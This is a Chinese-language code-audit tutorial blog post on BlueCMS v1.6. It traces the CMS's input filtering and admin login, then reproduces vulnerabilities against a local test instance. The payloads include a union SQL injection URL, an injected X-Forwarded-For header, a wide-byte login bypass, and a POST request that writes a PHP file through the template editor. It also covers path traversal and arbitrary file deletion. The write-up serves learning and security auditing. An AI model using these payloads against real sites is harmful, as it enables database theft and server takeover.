本文最后更新于:3 个月前
0x00 前言
最近一直在学习php代码审计,入门过程比自己想象的慢很多,现在各个行业都在内卷,代码审计随着 web 开发技术的发展也会变得更加复杂。但不管现在技术多成熟,多复杂,基础知识一定要扎实。先记录下我目前学习php代码审计的过程:
1
| php基础语法巩固 -> php特性 -> 各漏洞挖掘方法 -> 从早期到近代的无MVC架构的CMS代码审计实战 -> 成熟的MVC架构代码审计实战
|
网上已经有很多讲解如何去审计各种php程序漏洞的博客,大家都讲的很好,但学完这些知识后去真正上手审计一个CMS时,会突然发现自己什么都不会,我总结原因是自己的 web 开发知识太少了,不理解程序的逻辑,导致在审计大量代码时会晕头转向,没有方向
然后我边学最基础的web开发知识, 边找最简单的 CMS 实战审计,然后逐渐增加难度,慢慢的找到了感觉。目前我认为自己还是一个菜鸡,确实也还是一个菜鸡,所以自己打算好好整理 从早期到近代的无MVC架构的CMS代码审计实战 -> 成熟的MVC架构代码审计实战
的过程,并在博客上发表
从早期到近代的无MVC架构的CMS代码审计实战
我依次选择了 BlueCMS, SeaCMS, DedeCMS, PhpCMS 这 4 个CMS,理由很简单,从简单到难,与之对应的是他们的活跃时间也逐渐靠近我们,在对这几个系统的代码审计过程中,也能感受到 web 开发技术的发展和趋势,相信完成这步后再审计非 MVC 架构的程序代码就会具有清晰的思路与把握
0x01 BlueCMS 简介
BlueCMS 是一款应用于地方分类信息的门户系统,本文下载的源码为 BlueCMS v1.6 sp1版,可以追溯到2010年左右了,该系统确实很老,但审计该系统有一个好处是,即使现在web开发技术十分成熟了,但仍有人因为经验缺乏或时间原因会开发出类似BlueCMS这样简单的系统,甚至比BlueCMS更简单。通过对 BlueCMS 实战审计,能够熟悉这类简单 CMS 的程序逻辑
BlueCMS 被认为是练手代码审计的绝佳项目,以至于现在百度BlueCMS的关键词全是代码审计。那为什么 BlueCMS 都被审计烂了,我还要在发一篇BlueCMS的代码审计博客呢?首先BlueCMS确实经典,是一个入门的好项目;其次BlueCMS是无MVC架构时期最早流行的一批CMS,是 从早期到近代无MVC架构的CMS代码审计实战
系列最标志的第一环
BlueCMS 源码也不太好找,这里推荐站长之家(http://down.chinaz.com/),yyds
BlueCMS本地部署好后,先访问 /install/index.php 进行安装,感觉过程有点bug,不过返回首页后会发现安装成功
0x02 全局分析
在学完php的各漏洞代码审计方法后我就直接利用 seay 去扫描代码敏感关键字回溯的方法去审计代码,但在过程中却逐渐蒙圈,经验总结,在审计一个成熟的CMS之间,还是要做好全局分析的工作
目录结构
通过目录结构可以简单看出程序的逻辑
目录结构主要关注入口文件index.php在程序中的位置,BlueCMS时期的程序 index.php 基本位于程序根目录下,其实这是不安全的,会导致整个程序文件被窃取的风险,在审计后面的CMS中会发现这个问题会改善
首页 index.php
- 首页 index.php 首先会加载
common.inc.php
,include/index.fun.php
这些文件具体做了什么后面仔细分析
- 然后 index.php 就从数据库中获取首页信息,利用smarty模板显示。Smarty是BlueCMS引用的一个成熟的PHP模板引擎,Smarty在那个时期也是很火的,关于Smarty的具体实现代码我们就可以忽略了
1 2 3 4 5 6
| require_once('include/common.inc.php'); require_once(BLUE_ROOT.'include/index.fun.php');
……
$smarty->display('index.htm');
|
可以看出index.php并不能算入口文件,它只是在做一个页面的显示工作,从这里我们大概知道前台是一个多入口的模式,注意多入口的系统需要对每个入口文件单独做安全过滤,它们通常都会加载同一个文件来实现,在BlueCMS中这个文件就是common.inc.php
include/common.inc.php
- 对GPC数据做了过滤,但外部可控数据还包括
$_SERVER
没有经过过滤
- 还需要留意的是 comon.inc.php 还做好了数据库连接工作,$db 为连接数据的对象,后续可以直接使用
- comon.inc.php 的其他处理逻辑注释即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| require_once (BLUE_ROOT.'include/common.fun.php'); require_once(BLUE_ROOT.'include/cat.fun.php');
if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
require_once(BLUE_ROOT.'include/mysql.class.php'); $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
require(BLUE_ROOT.'include/smarty/Smarty.class.php'); $smarty = new Smarty();
$banned_ip = get_bannedip(); if (@in_array($online_ip, $banned_ip)) { showmsg('对不起,您的IP已被禁止,有问题请联系管理员!'); }
|
外部数据的具体过滤方式
追踪一下deep_addslashes()
方法,看下数据过滤的具体实现方式
/include/common.fun.php
具体过滤函数是addslashes(),在此情况下引号形式的sql注入基本会被过滤,所以凡是加了common.inc.php的入口文件,基本会实现这些过滤操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| function deep_addslashes($str) { if(is_array($str)) { foreach($str as $key=>$val) { $str[$key] = deep_addslashes($val); } } else { $str = addslashes($str); } return $str; }
|
数据库连接方式
include/mysql.class.php
- 数据库连接方法是mysql_connect(),
$linkid
存放MySQL 连接标识
- 这里应该提取到一个十分关键的信息,数据库编码为gbk,那么程序就有宽字节注入的可能
- 然后会看到mysql类还封装了很多底层sql的执行方法,知道这些方法是干嘛的就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| class mysql { var $linkid=null; function __construct($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect = 1) { $this -> mysql($dbhost, $dbuser, $dbpw, $dbname, $dbcharset, $connect); } function mysql($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){ $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect'; if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){ $this->dbshow('Can not connect to Mysql!'); } else { if($this->dbversion() > '4.1'){ mysql_query( "SET NAMES gbk"); } } } function query($sql){ if(!$query=@mysql_query($sql, $this->linkid)){ $this->dbshow("Query error:$sql"); }else{ return $query; } } function getone($sql, $type=MYSQL_ASSOC){ $query = $this->query($sql,$this->linkid); $row = mysql_fetch_array($query, $type); return $row; } …… }
|
后台逻辑分析
后台一般只有通过身份验证后才能访问,提前就有一层安全保障,但后台程序一般都是漏洞百出,我们很多时候只有靠后台才能拿到服务器的shell。这里具体分析一下BlueCMS的后台逻辑
后台入口文件
admin/index.php
- admin/index.php 的大部分逻辑由 admin/include/common.inc.php 处理
- index.php 剩下内容主要用于显示后台的页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| require_once(dirname(__FILE__) . "/include/common.inc.php"); $act=!empty($_REQUEST['act']) ? trim($_REQUEST['act']) : ''; if($act==''){ $smarty->display('index.htm'); } elseif($act=='top') { $smarty->display('top.htm'); } elseif($act=='menu'){ $smarty->display('menu.htm'); } elseif($act == 'main'){ $smarty->display('main.htm'); }
|
admin/templates/default/index.htm
关注 index.htm 可以知道后台是通过frame来实现的,这样后台程序的所有功能都可以依附在index.php下实现,在早期的CMS中,基本都是这种实现方案
1 2 3 4 5 6 7
| <frameset rows="76,*" frameborder="no" border="0" framespacing="0" > <frame src="index.php?act=top" name="topFrame" id="topFrame" scrolling="no" noresize> <frameset cols="176,*" name="bodyFrame" id="bodyFrame" frameborder="no" border="0" framespacing="0" > <frame src="index.php?act=menu" name="menuFrame" id="menuFrame" scrolling="yes" noresize> <frame src="index.php?act=main" name="mainFrame" id="mainFrame" scrolling="auto" noresize> </frameset> </frameset>
|
common.inc.php处理细节
admin/include/common.inc.php
该文件内容和 include/common.inc.php 差不多,不同之处在于多了管理员的认证,如果看到加载了 include/common.inc.php 的文件,那么该文件基本为后台访问页面
- 可以看到 BlueCMS 主要通过session的方法认证用户登陆状态,如果
$_SESSION['admin_id']
存在则通过验证并刷新用户登陆记录
- 当前用户 session 信息为空时则会判断用户的cookie信息,如果设置了cookie信息则判断cookie的账号密码是否能登陆
- 如果未设置cookie信息,则跳转到
login.php?act=login
页面重新登陆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| require_once(……)
deep_addslashes()
require_once(BLUE_ROOT.'include/mysql.class.php'); $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
require(BLUE_ROOT.'include/smarty/Smarty.class.php'); $smarty = new Smarty();
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout'){ if($_COOKIE['Blue']['admin_id'] && $_COOKIE['Blue']['admin_name'] && $_COOKIE['Blue']['admin_pwd']){ if(check_cookie($_COOKIE['Blue']['admin_name'], $_COOKIE['Blue']['admin_pwd'])){ update_admin_info($_COOKIE['Blue']['admin_name']); } }else{ setcookie("Blue[admin_id]", '', 1, $cookiepath, $cookiedomain); setcookie("Blue[admin_name]", '', 1, $cookiepath, $cookiedomain); setcookie("Blue[admin_pwd]", '', 1, $cookiepath, $cookiedomain); echo '<script type="text/javascript">top.location="login.php?act=login";</script>'; exit(); } }elseif($_SESSION['admin_id']){ update_admin_info($_SESSION['admin_name']); }
|
0x03 漏洞审计
sql注入漏洞
通过BlueCMS我们可以看到各种常见的漏洞写法
数字型注入
ad_js.php
- ad_js.php 加载了common.inc.php,会对GPC数据做 addslashes() 过滤
$ad_id
通过 $_GET 方式获取,会自动经过一层过滤,最终传入到sql语句执行
- 在执行的sql语句中发现
$ad_id
没有引号包裹,而且没有做数字型判断,那么这里很有可能存在数字型sql注入
- sql查询结果最后是用注释的方式放在页面上
1 2 3 4 5 6 7 8
| require_once dirname(__FILE__) . '/include/common.inc.php'; $ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); if($ad['time_set'] == 0) { $ad_content = $ad['content']; } echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
|
复现漏洞时我是想利用报错注入快一点,但没有成功,奇怪,下面用union注入复现:
1
| http://bluecms.test:8888/ad_js.php?ad_id=0 union select 1,2,3,4,5,6,version()--+
|
$_SERVER 的突破
上面知道只对GPC数据做了全局过滤,还有一个 $_SERVER
是没有过滤的,其实 $_SERVER
也是可以传入外部可控数据的
guest_book.php
- guest_book.php 是一个处理用户留言功能的模块,但用户发送留言时,会同时把用户留言的ip地址一起放到数据库中
- 其中
$online_ip
来自 common.fun.php 中 getip() 函数
1 2 3 4 5 6 7 8
| require dirname(__FILE__) . '/include/common.inc.php'; if ($act == 'list'){ …… }elseif($act == 'send'){ $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; $db->query($sql); }
|
common.fun.php
- getip() 首先会在
HTTP_
开头的环境变量寻找ip,HTTP_
开头的变量是可控的,来自请求头
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } …… else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
|
漏洞复现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| POST /guest_book.php HTTP/1.1 Host: bluecms:8888 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X_FORWARDED_FOR: 192.168.44.1',user())# Connection: close Cookie: PHPSESSID=8d9d7ed9da5a96ac9b0093dceed684f9 Upgrade-Insecure-Requests: 1 Content-Length: 37
content=hello&act=send&page_id=1&rid=
|
效果:
宽字节注入
上面有提到这一点,因为程序在数据库链接处设置了GBK编码,利用宽字节注入可以绕过程序过滤,所以BlueCMS的sql注入基本都有存在,下面就找一个地方验证一下
admin/login.php
- admin/login.php 是后台管理员登陆页面,如果这里存在sql注入常见的利用方式就是注入万能密码
- 可以看到后台验证验证用户是否登陆的依据:具有非空
$_SESSION['admin_id']
值
- $admin_name 和 $admin_pwd 通过post获取,post数据会通过addslashs()函数过滤。验证的关键函数为check_admin()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| require_once(dirname(__FILE__) . '/include/common.inc.php'); if($act == 'login'){ if($_SESSION['admin_id']){ showmsg('您已登录,不用再次登录', 'index.php'); } …… }elseif($act == 'do_login'){ $admin_name = isset($_POST['admin_name']) ? trim($_POST['admin_name']) : ''; $admin_pwd = isset($_POST['admin_pwd']) ? trim($_POST['admin_pwd']) : ''; if(check_admin($admin_name, $admin_pwd)){ update_admin_info($admin_name); if($remember == 1){ setcookie('Blue[admin_id]', $_SESSION['admin_id'], time()+86400); setcookie('Blue[admin_name]', $admin_name, time()+86400); setcookie('Blue[admin_pwd]', md5(md5($admin_pwd).$_CFG['cookie_hash']), time()+86400); } }else{ showmsg('您输入的用户名和密码有误'); } }
|
admin/include/common.fun.php
判断的依据是同时查询用户名和密码,查询到结果则为真
1 2 3 4 5 6 7 8 9 10 11 12 13
| function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
|
这里我们的宽字节利用不就来了,注入永真的sql语句,我们就绕过了前台的限制
注意浏览器会自动对post数据url编码,我们注入的%
会被编码导致注入宽字节失效,最好通过抓包取消url编码
任意文件读取/写入
在 BlueCMS 后台处有一个编辑模板的功能,对于这种功能,安全小伙应该保持敏感,这里会出现读取和写入的操作,很有可能就存在任意文件读取/写入漏洞
审计细节
admin/tpl_manage.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| require_once(dirname(__FILE__).'/include/common.inc.php'); $act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'list'; if($act == 'list'){ $dir = BLUE_ROOT.'templates/default'; …… } elseif($act == 'edit'){ $file = $_GET['tpl_name']; if(!$handle = @fopen(BLUE_ROOT.'templates/default/'.$file, 'rb')){ showmsg('打开目标模板文件失败'); } $tpl['content'] = fread($handle, filesize(BLUE_ROOT.'templates/default/'.$file)); $tpl['content'] = htmlentities($tpl['content'], ENT_QUOTES, GB2312); fclose($handle); $tpl['name'] = $file; template_assign(array('current_act', 'tpl'), array('编辑模板', $tpl)); $smarty->display('tpl_info.htm'); } elseif($act == 'do_edit'){ $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : ''; $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : ''; if(empty($tpl_name)){ return false; } $tpl = BLUE_ROOT.'templates/default/'.$tpl_name; if(!$handle = @fopen($tpl, 'wb')){ showmsg("打开目标模版文件 $tpl 失败"); } if(fwrite($handle, $tpl_content) === false){ showmsg('写入目标 $tpl 失败'); } fclose($handle); showmsg('编辑模板成功', 'tpl_manage.php'); }
|
$act
可控,用于指定操作,具有的操作为list, edit 和do_edit
- 默认操作 list,列出指定目录下的文件
- 操作 edit 用于读取指定目录下的
$file
,该参数可控,通过 ../
可以实现目录穿越,这里就有任意文件读取漏洞
- 操作 do_edit 将
$tpl_content
写入到 $tpl_name
文件中,两个参数都可控,不过写入的内容 $tpl_content
会通过 deep_stripslashes() 过滤,同时还要注意 $tpl_content
是通过 POST 方式传入的,还会经过 addslashes() 处理
include/common.fun.php
查看 deep_stripslashes() ,其实就是使用 stripslashes() 来消除 addslashes() 的影响,所以这里我们输入的内容完全可控,这里将同时存在任意文件读取和写入的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| function deep_stripslashes($str) { if(is_array($str)) { foreach($str as $key => $val) { $str[$key] = deep_stripslashes($val); } } else { $str = stripslashes($str); } return $str; }
|
复现
利用目录穿越读取任意文件
直接构造一个post请求修改一个不存在的文件,这样将会创建一个文件并写入,poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /admin/tpl_manage.php HTTP/1.1 Host: bluecms.test:8888 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 59 Origin: http://bluecms.test:8888 Connection: close Referer: http://bluecms.test:8888/admin/tpl_manage.php?act=edit&tpl_name=news_info.htm Cookie: PHPSESSID=bb499d4e1bddb4c5b2c6cd16c39e5c77 Upgrade-Insecure-Requests: 1
tpl_content=<?php phpinfo();?>&tpl_name=php.php&act=do_edit
|
效果:
任意文件删除
user.php
$id 可控,直接传入unlink()会可造成任意文件删除漏洞。不过在unlink()操作前会执行一条sql语句,BlueCMS 初始数据库是没有company_image表的,导致数据库报错是执行不到unlink()操作的
1 2 3 4 5 6
| elseif ($act == 'del_pic') { $id = $_REQUEST['id']; $db->query("DELETE FROM " . table('company_image') . " WHERE path='$id'"); if (file_exists(BLUE_ROOT . $id)) { @unlink(BLUE_ROOT . $id); }
|
0x04 总结
BlueCMS 总体代码比较简单,出现的漏洞也比较典型,没有什么特别之处。另外本文并没有针对 XSS 漏洞做审计,对于这种简单的系统使用黑盒测试的方法似乎要更快一点。
参考:https://xz.aliyun.com/t/7074